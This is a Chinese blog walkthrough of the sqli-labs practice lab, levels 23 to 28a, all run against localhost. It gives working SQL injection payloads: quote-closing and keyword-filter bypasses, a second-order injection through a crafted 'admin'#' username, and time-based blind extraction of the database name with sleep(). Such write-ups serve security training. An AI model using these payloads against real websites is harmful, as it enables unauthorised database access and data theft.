欢迎来我博客阅读~传送门
## task23
屏蔽了# --注释符号,只能闭合绕过
http://127.0.0.1/sqli-labs/Less-23/?id=1' and '1'='1
## task24
二次注入
注册一个账户 admin’# 密码admin
登录,然后修改密码,修改的实际上是admin的密码
问题语句
注册时候的过滤也有问题,才会导致可以写入非法字符
我在源代码里加了一句注册成功输出sql语句,注册成功后显示
而实际数据库中添加的数据却是,然后修改密码时便构成了二次注入
## task25
过滤了and和or
绕过一:http://127.0.0.1/sqli-labs/Less-25/?id=2' aandnd 1=1 %23
绕过二:http://127.0.0.1/sqli-labs/Less-25/?id=2' %26%26 1=1 %23
其中%26是&的url编码
## task25.a
http://127.0.0.1/sqli-labs/Less-25a/?id=2 aandnd 1=1%23
## task26
过滤了很多,and和or可以继续用&&和||替代
然后使用引号闭合,这题主要是要绕过对空格的过滤
网上有人说用%a0替换空格,试了下不行。据说是windows系统的缘故?
这里给出另外一种思路,利用1或者0秒的sleep时间来判断
http://localhost/sqli-labs/Less-26/?id=1' %26%26sleep(ascii(mid(database(),1,1))=116)%26%26'1'='1
## task26.a
屏蔽了26的字符,还给$id加了一对括号
http://localhost/sqli-labs/Less-26a/?id=1')%26%26sleep(ascii(mid(database(),1,1))=115)%26%26'1'=('1
## task27
直接用26关的payload就可以
http://localhost/sqli-labs/Less-27/?id=1' %26%26sleep(ascii(mid(database(),1,1))=115) %26%26'1'='1
## task27.a
单引号变成了双引号
http://localhost/sqli-labs/Less-27a/?id=1"%26%26sleep(ascii(mid(database(),1,1))=116) %26%26"1"="1
## task28
$id被单引号和括号包围,如何判断出来的?
?id=1’报错
?id=1' and '1'='1
?id=1”不报错
http://localhost/sqli-labs/Less-28/?id=1')%26%26sleep(ascii(mid(database(),1,1))=115) %26%26'1'=('1
## task28.a
用28的就可以
网友评论